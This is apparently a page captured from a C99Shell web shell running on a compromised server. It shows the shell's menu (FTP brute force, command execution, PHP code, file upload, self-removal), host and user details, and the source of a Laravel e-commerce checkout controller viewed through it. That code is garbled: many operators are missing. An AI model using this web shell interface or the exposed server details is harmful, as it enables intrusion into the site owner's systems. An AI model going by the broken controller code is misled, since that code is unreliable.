!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Front/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckoutController.php (19.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Front;

use 
App\{
    
Models\Order,
    
Models\PaymentSetting,
    
Traits\StripeCheckout,
    
Traits\MollieCheckout,
    
Traits\PaypalCheckout,
    
Traits\PaystackCheckout,
    
Http\Controllers\Controller,
    
Http\Requests\PaymentRequest,
    
Traits\CashOnDeliveryCheckout,
    
Traits\BankCheckout,
};
use 
App\Helpers\PriceHelper;
use 
App\Helpers\SmsHelper;
use 
App\Models\Currency;
use 
App\Models\Item;
use 
App\Models\Setting;
use 
App\Models\ShippingService;
use 
App\Models\State;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Session;
use 
Mollie\Laravel\Facades\Mollie;

class 
CheckoutController extends Controller
{

    use 
StripeCheckout {
        
StripeCheckout::__construct as private __stripeConstruct;
    }
    use 
PaypalCheckout {
        
PaypalCheckout::__construct as private __paypalConstruct;
    }
    use 
MollieCheckout {
        
MollieCheckout::__construct as private __MollieConstruct;
    }

    use 
BankCheckout;
    use 
PaystackCheckout;
    use 
CashOnDeliveryCheckout;

    public function 
__construct()
    {
        
$setting Setting::first();
        if (
$setting->is_guest_checkout != 1) {
            
$this->middleware('auth');
        }
        
$this->middleware('localize');
        
$this->__stripeConstruct();
        
$this->__paypalConstruct();
    }

    public function 
ship_address()
    {

        
$user auth()->user()->id;
        if (!
Session::has('cart_'.$user)) {
            return 
redirect(route('front.cart'));
        }
        
$data['user'] = Auth::user() ? Auth::user() : null;
        
$cart Session::get('cart_'.$user);
        
$total_tax 0;
        
$cart_total 0;
        
$total 0;
        if (empty(
$cart)) {
            return [
                
'status' => false,
                
'message' => 'Your Cart Is Empty'
            
];
        }
        foreach (
$cart as $key => $item) {
            
$total += ($item['main_price'] + $item['attribute_price']) * $item['qty'];
            
$cart_total $total;
            
$item Item::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }


        
$shipping = [];
       

        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }

        if (!
PriceHelper::Digital()) {
            
$shipping null;
        }

        
$grand_total $cart_total +  $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);
        
$state_tax Auth::check() && Auth::user()->state_id Auth::user()->state->price 0;
        
$total_amount $grand_total $state_tax;

        
$data['cart'] = $cart;
        
$data['cart_total'] = $cart_total;
        
$data['grand_total'] = $total_amount;
        
$data['discount'] = $discount;
        
$data['shipping'] = $shipping;
        
$data['tax'] = $total_tax;
        
$data['payments'] = PaymentSetting::whereStatus(1)->get();
        return 
view('front.checkout.billing'$data);
    }



    public function 
billingStore(Request $request)
    {

        if (
$request->same_ship_address) {
            
Session::put('billing_address'$request->all());

            if (
PriceHelper::CheckDigital()) {
                
$shipping = [
                    
"ship_first_name" => $request->bill_first_name,
                    
"ship_last_name" => $request->bill_last_name,
                    
"ship_email" => $request->bill_email,
                    
"ship_phone" => $request->bill_phone,
                    
"ship_company" => $request->bill_company,
                    
"ship_address1" => $request->bill_address1,
                    
"ship_address2" => $request->bill_address2,
                    
"ship_zip" => $request->bill_zip,
                    
"ship_city" => $request->bill_city,
                    
"ship_country" => $request->bill_country,
                ];
            } else {
                
$shipping = [
                    
"ship_first_name" => $request->bill_first_name,
                    
"ship_last_name" => $request->bill_last_name,
                    
"ship_email" => $request->bill_email,
                    
"ship_phone" => $request->bill_phone,
                ];
            }
            
Session::put('shipping_address'$shipping);
        } else {
            
Session::put('billing_address'$request->all());
            
Session::forget('shipping_address');
        }

        if (
Session::has('shipping_address')) {
            return 
redirect()->route('front.checkout.payment');
        } else {
            return 
redirect()->route('front.checkout.shipping');
        }
    }


    public function 
shipping()
    {
        
$user auth()->user()->id;
        if (
Session::has('shipping_address')) {
            return 
redirect(route('front.checkout.payment'));
        }

        if (!
Session::has('cart_'.$user)) {
            return 
redirect(route('front.cart'));
        }
        
$data['user'] = Auth::user();
        
$cart Session::get('cart_'.$user);

        
$total_tax 0;
        
$cart_total 0;
        
$total 0;

        foreach (
$cart as $key => $item) {

            
$total += ($item['main_price'] + $item['attribute_price']) * $item['qty'];
            
$cart_total $total;
            
$item Item::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }
        
$shipping = [];
       
        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }

        if (!
PriceHelper::Digital()) {
            
$shipping null;
        }

        
$grand_total $cart_total $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);
        
$state_tax Auth::check() && Auth::user()->state_id ? ($cart_total Auth::user()->state->price) / 100 0;
        
$grand_total $grand_total $state_tax;

        
$total_amount $grand_total;
        
$data['cart'] = $cart;
        
$data['cart_total'] = $cart_total;
        
$data['grand_total'] = $total_amount;
        
$data['discount'] = $discount;
        
$data['shipping'] = $shipping;
        
$data['tax'] = $total_tax;
        
$data['payments'] = PaymentSetting::whereStatus(1)->get();
        return 
view('front.checkout.shipping'$data);
    }

    public function 
shippingStore(Request $request)
    {

        
Session::put('shipping_address'$request->all());
        return 
redirect(route('front.checkout.payment'));
    }



    public function 
payment()
    {
        
$user auth()->user()->id;

        if (!
Session::has('billing_address')) {
            return 
redirect(route('front.checkout.billing'));
        }

        if (!
Session::has('shipping_address')) {
            return 
redirect(route('front.checkout.shipping'));
        }


        if (!
Session::has('cart_'.$user)) {
            return 
redirect(route('front.cart'));
        }
        
$data['user'] = Auth::user();
        
$cart Session::get('cart_'.$user);

        
$total_tax 0;
        
$cart_total 0;
        
$total 0;

        foreach (
$cart as $key => $item) {

            
$total += ($item['main_price'] + $item['attribute_price']) * $item['qty'];
            
$cart_total $total;
            
$item Item::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }
        
$shipping = [];
      
        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }

        if (!
PriceHelper::Digital()) {
            
$shipping null;
        }

        
$grand_total = ($cart_total  $total_tax);
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);
        
$state_tax Auth::check() && Auth::user()->state_id ? ($cart_total Auth::user()->state->price) / 100 0;
        
$grand_total $grand_total $state_tax;


        
$total_amount $grand_total;

        
$data['cart'] = $cart;
        
$data['cart_total'] = $cart_total;
        
$data['grand_total'] = $total_amount;
        
$data['discount'] = $discount;
        
$data['shipping'] = $shipping;
        
$data['tax'] = $total_tax;
        
$data['payments'] = PaymentSetting::whereStatus(1)->get();
        return 
view('front.checkout.payment'$data);
    }

    public function 
checkout(PaymentRequest $request)
    {


        
$input $request->all();

        
$checkout false;
        
$payment_redirect false;
        
$payment null;

        if (
Session::has('currency')) {
            
$currency Currency::findOrFail(Session::get('currency'));
        } else {
            
$currency Currency::where('is_default'1)->first();
        }


        
$usd_supported = array(
            
"USD""AED""AFN""ALL""AMD""ANG""AOA""ARS""AUD""AWG",
            
"AZN""BAM""BBD""BDT""BGN""BIF""BMD""BND""BOB""BRL",
            
"BSD""BWP""BYN""BZD""CAD""CDF""CHF""CLP""CNY""COP",
            
"CRC""CVE""CZK""DJF""DKK""DOP""DZD""EGP""ETB""EUR",
            
"FJD""FKP""GBP""GEL""GIP""GMD""GNF""GTQ""GYD""HKD",
            
"HNL""HTG""HUF""IDR""ILS""INR""ISK""JMD""JPY""KES",
            
"KGS""KHR""KMF""KRW""KYD""KZT""LAK""LBP""LKR""LRD",
            
"LSL""MAD""MDL""MGA""MKD""MMK""MNT""MOP""MUR""MVR",
            
"MWK""MXN""MYR""MZN""NAD""NGN""NIO""NOK""NPR""NZD",
            
"PAB""PEN""PGK""PHP""PKR""PLN""PYG""QAR""RON""RSD",
            
"RUB""RWF""SAR""SBD""SCR""SEK""SGD""SHP""SLE""SOS",
            
"SRD""STD""SZL""THB""TJS""TOP""TRY""TTD""TWD""TZS",
            
"UAH""UGX""UYU""UZS""VND""VUV""WST""XAF""XCD""XOF",
            
"XPF""YER""ZAR""ZMW"
        
);


        
$paypal_supported = ['USD''EUR''AUD''BRL''CAD''HKD''JPY''MXN''NZD''PHP''GBP''RUB'];
        
$paystack_supported = ['NGN'"GHS"];
        switch (
$input['payment_method']) {

            case 
'Stripe':
                if (!
in_array($currency->name$usd_supported)) {
                    
Session::flash('error'__('Currency Not Supported'));
                    return 
redirect()->back();
                }
                
$checkout true;
                
$payment_redirect true;
                
$payment $this->stripeSubmit($input);
                break;

            case 
'Paypal':
                if (!
in_array($currency->name$paypal_supported)) {
                    
Session::flash('error'__('Currency Not Supported'));
                    return 
redirect()->back();
                }
                
$checkout true;
                
$payment_redirect true;
                
$payment $this->paypalSubmit($input);
                break;


            case 
'Mollie':
                if (!
in_array($currency->name$usd_supported)) {
                    
Session::flash('error'__('Currency Not Supported'));
                    return 
redirect()->back();
                }
                
$checkout true;
                
$payment_redirect true;
                
$payment $this->MollieSubmit($input);
                break;

            case 
'Paystack':
                if (!
in_array($currency->name$paystack_supported)) {
                    
Session::flash('error'__('Currency Not Supported'));
                    return 
redirect()->back();
                }
                
$checkout true;
                
$payment $this->PaystackSubmit($input);

                break;

            case 
'Bank':
                
$checkout true;
                
$payment $this->BankSubmit($input);
                break;

            case 
'Cash On Delivery':
                
$checkout true;
                
$payment $this->cashOnDeliverySubmit($input);
                break;
        }



        if (
$checkout) {
            if (
$payment_redirect) {
                if (
$payment['status']) {
                    return 
redirect()->away($payment['link']);
                } else {
                    
Session::put('message'$payment['message']);
                    return 
redirect()->route('front.checkout.cancle');
                }
            } else {
                if (
$payment['status']) {
                    return 
redirect()->route('front.checkout.success');
                } else {
                    
Session::put('message'$payment['message']);
                    return 
redirect()->route('front.checkout.cancle');
                }
            }
        } else {
            return 
redirect()->route('front.checkout.cancle');
        }
    }

    public function 
paymentRedirect(Request $request)
    {
        
$responseData $request->all();

        if (isset(
$responseData['session_id'])) {
            
$payment $this->stripeNotify($responseData);
            if (
$payment['status']) {
                return 
redirect()->route('front.checkout.success');
            } else {
                
Session::put('message'$payment['message']);
                return 
redirect()->route('front.checkout.cancle');
            }
        } elseif (
Session::has('order_payment_id')) {
            
$payment $this->paypalNotify($responseData);
            if (
$payment['status']) {
                return 
redirect()->route('front.checkout.success');
            } else {
                
Session::put('message'$payment['message']);
                return 
redirect()->route('front.checkout.cancle');
            }
        } else {
            return 
redirect()->route('front.checkout.cancle');
        }
    }

    public function 
mollieRedirect(Request $request)
    {

        
$responseData $request->all();

        
$payment Mollie::api()->payments()->get(Session::get('payment_id'));
        
$responseData['payment_id'] = $payment->id;
        if (
$payment->status == 'paid') {
            
$payment $this->mollieNotify($responseData);
            if (
$payment['status']) {
                return 
redirect()->route('front.checkout.success');
            } else {
                
Session::put('message'$payment['message']);
                return 
redirect()->route('front.checkout.cancle');
            }
        } else {
            return 
redirect()->route('front.checkout.cancle');
        }
    }

    public function 
paymentSuccess()
    {
        if (
Session::has('order_id')) {
            
$order_id Session::get('order_id');
            
$order Order::find($order_id);
            
$cart json_decode($order->carttrue);
            
$setting Setting::first();
            if (
$setting->is_twilio == 1) {
                
// message
                
$sms = new SmsHelper();
                
$user_number $order->user->phone;
                if (
$user_number) {
                    
$sms->SendSms($user_number"'purchase'");
                }
            }
            return 
view('front.checkout.success'compact('order''cart'));
        }
        return 
redirect()->route('front.index');
    }



    public function 
paymentCancle()
    {
        
$message '';
        if (
Session::has('message')) {
            
$message Session::get('message');
            
Session::forget('message');
        } else {
            
$message __('Payment Failed!');
        }
        
Session::flash('error'$message);
        return 
redirect()->route('front.checkout.billing');
    }

    public function 
stateSetUp(Request $request)
    {
        
$state_id $request->state_id;
        
$shipping_id $request->shipping_id;

     
        if (!
Session::has('cart')) {
            return 
redirect(route('front.cart'));
        }
        
$user auth()->user()->id;

        
$cart Session::get('cart_',$user);
        
$total_tax 0;
        
$cart_total 0;
        
$total 0;
        foreach (
$cart as $key => $item) {

            
$total += ($item['main_price'] + $item['attribute_price']) * $item['qty'];
            
$cart_total $total;
            
$item Item::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }

        
$shipping = [];
        if (
$shipping_id) {
            
$shipping ShippingService::findOrFail($shipping_id);
        }
        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }

        
$grand_total = ($cart_total + ($shipping $shipping->price 0)) + $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);

        
$state_price 0;
        if (
$state_id) {
            
$state State::findOrFail($state_id);
            if (
$state->type == 'fixed') {
                
$state_price $state->price;
            } else {
                
$state_price = ($cart_total $state->price) / 100;
            }
        } else {
            if (
Auth::check() && Auth::user()->state_id) {
                
$state Auth::user()->state;
                if (
$state->type == 'fixed') {
                    
$state_price $state->price;
                } else {
                    
$state_price = ($cart_total $state->price) / 100;
                }
            } else {
                
$state_price 0;
            }
        }

        
$total_amount $grand_total $state_price;

        
$data['state_price'] = PriceHelper::setCurrencyPrice($state_price);
        
$data['grand_total'] = PriceHelper::setCurrencyPrice($total_amount);

        return 
response()->json($data);
    }

    public function 
shippingSetUp(Request $request)
    {
        
$state_id $request->state_id;
        
$shipping_id $request->shipping_id;
        
        
$user auth()->user()->id;

        
$cart Session::get('cart_'.$user);
        if (!
$cart) {
            return 
redirect(route('front.cart'));
        }


        
$cart Session::get('cart_'.$user);
     
        
$cart Session::get('cart_'.$user);
        
$total_tax 0;
        
$cart_total 0;
        
$total 0;
        foreach (
$cart as $key => $item) {

            
$total += ($item['main_price'] + $item['attribute_price']) * $item['qty'];
            
$cart_total $total;
            
$item Item::findOrFail($key);
            if (
$item->tax) {
                
$total_tax += $item::taxCalculate($item);
            }
        }

        
$shipping ShippingService::findOrFail($shipping_id);

        
$discount = [];
        if (
Session::has('coupon')) {
            
$discount Session::get('coupon');
        }

        
$grand_total = ($cart_total + ($shipping $shipping->price 0)) + $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);

        
$state_price 0;
        if (
$state_id && $state_id != 'undefined') {
            
$state State::findOrFail($state_id);
            if (
$state->type == 'fixed') {
                
$state_price $state->price;
            } else {
                
$state_price = ($cart_total $state->price) / 100;
            }
        } else {
            if (
Auth::check() && Auth::user()->state_id) {
                
$state Auth::user()->state;
                if (
$state->type == 'fixed') {
                    
$state_price $state->price;
                } else {
                    
$state_price = ($cart_total $state->price) / 100;
                }
            } else {
                
$state_price 0;
            }
        }

        
$total_amount $grand_total $state_price;

        
$data['state_price'] = PriceHelper::setCurrencyPrice($state_price);
        
$data['shipping_price'] = PriceHelper::setCurrencyPrice($shipping->price);
        
$data['grand_total'] = PriceHelper::setCurrencyPrice($total_amount);

        return 
response()->json($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--